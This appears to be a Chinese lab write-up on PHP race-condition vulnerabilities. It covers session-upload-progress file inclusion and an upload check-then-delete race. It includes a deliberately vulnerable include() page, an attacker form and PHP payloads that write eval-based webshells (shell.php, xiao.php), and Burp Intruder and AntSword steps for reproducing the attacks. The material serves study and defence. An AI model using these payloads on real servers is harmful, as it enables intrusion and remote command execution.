条件竞争漏洞简介
条件竞争漏洞(Race Condition)是指在多线程或多进程环境中,多个操作的执行顺序未被正确控制,导致意外行为或安全问题。在 PHP 会话管理中,特别是在文件上传和会话数据处理过程中,可能会出现这样的漏洞。
文件包含之条件竞争
-
概念
- 通常一个session建立是会被session锁定机制进行锁住,防止多个并发请求同时修改session数据,这个漏洞的原理是利用了
PHP_SESSION_UPLOAD_PROGRESS
特性,当 PHP 处理文件上传请求时,会短暂解锁会话文件,允许并发请求访问,攻击者利用这个窗口,发送包含恶意PHP_SESSION_UPLOAD_PROGRESS
字段的请求来达到任意命令执行的目的
- 通常一个session建立是会被session锁定机制进行锁住,防止多个并发请求同时修改session数据,这个漏洞的原理是利用了
-
靶场介绍
-
网站
网站:http://43.139.186.80/1.php <?php if (isset($_GET['file'])) { $file = $_GET['file']; // $file = str_replace("php", "???", $file); $file = str_replace("data", "???", $file); // $file = str_replace(":", "???", $file); $file = str_replace(".", "???", $file); include($file); } else { highlight_file(__FILE__); } ?> 攻击者的网站: <!DOCTYPE html> <html>12 <body> <form action="http://43.139.186.80/1.php" method="POST" enctype="multipart/form-data"> <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="<?php fputs(fopen('shell.php','w'),'<?php @eval($_GET[cmd])?>')?>" /> <input type="file" name="file" /> <input type="submit" value="submit" /> </form> </body> </html> <?php session_start(); ?> //记得form表单更换为上面的为受害者网站,value值为执行函数,目的是在当前网站下创建一个新的木马shell.php
-
-
复现
-
攻击者在自己的网站中上传任意文件,捉包,放到攻击者模块
-
在数据包中添加cookie和session字段
-
攻击模块配置如下
-
在进行访问缓存文件的数据包,http://43.139.186.80/1.php?file=C:\phpstudy_pro\Extensions\tmp\tmp\sess_exp,路径可以在phpinfo中的session.save_path值中找到,名称是sess_+你刚才写的名称,捉包,攻击模块配置和上面一样
-
同时发包,看返回的数据长度,出现数值不同说明攻击成功
-
文件下载之条件竞争
-
概念
- 这个漏洞主要是利用代码的逻辑漏洞,比如说代码中将文件存入服务器中在检查文件是否违规,违规就删除,但是攻击者通过在服务器检查和删除操作的间隙中,再次生成木马就可以绕过了
-
代码审计
-
<?php header("Content-type: text/html;charset=utf-8"); error_reporting(0); //设置上传目录 define("UPLOAD_PATH", dirname(__FILE__) . "/upload/"); define("UPLOAD_URL_PATH", str_replace($_SERVER['DOCUMENT_ROOT'], "", UPLOAD_PATH)); if (!file_exists(UPLOAD_PATH)) { mkdir(UPLOAD_PATH, 0755); } $is_upload = false; if (!empty($_POST['submit'])) { $name = basename($_FILES['file']['name']); $ext = pathinfo($name)['extension']; $upload_file = UPLOAD_PATH . '/' . $name; $whitelist = array('jpg','png','gif','jpeg'); //UPLOAD_PATH . $name这个函数不对,这个函数是直接将上传的文件上传到最终路径再进行检查,只需要将其改为$upload_file函数即可,这个函数是将其上传带临时文件目录下,通过才可以到最终目录 if (move_uploaded_file($_FILES['file']['tmp_name'], UPLOAD_PATH . $name)) { if(in_array($ext,$whitelist)){ $rename_file = rand(10, 99).date("YmdHis").".".$ext; $img_path = UPLOAD_PATH . '/'. $rename_file; rename($upload_file, $img_path); $is_upload = true; }else{ echo "<script>black();</script>"; unlink($upload_file); } } } ?>
-
-
复现流程:
-
上传1.php,捉包,改包
-
插入攻击语句
-
<?php fputs(fopen('xiao.php','w'),'<?php eval($_REQUEST[1]);?>');?> //这个语句就是创建xiao.php,在在其里面写入木马
-
-
放入intruder模块中,配置如图
-
开始attack
-
-
在上传一个访问1.php的包,也就是执行刚才的数据包
-
捉包,放入intruder模块,配置如下,发包
-
attack
-
-
在游览器中一直尝试看能不能连接上新生成的后门,即xiao.php
-
页面发生改变
-
蚁剑连接即可
-
-
总结
条件竞争漏洞在多线程或多进程环境中是一个常见的问题,特别是在文件上传和会话管理中。通过上述两个实际案例,我们可以清楚地看到条件竞争漏洞的危害及其利用方式。同时,了解这些漏洞的存在有助于开发者在编写代码时更加谨慎,从而避免类似的安全问题。防御措施包括对敏感操作进行锁定、增加检查步骤,以及对用户输入进行严格验证。希望本文能帮助读者更好地理解和防御条件竞争漏洞。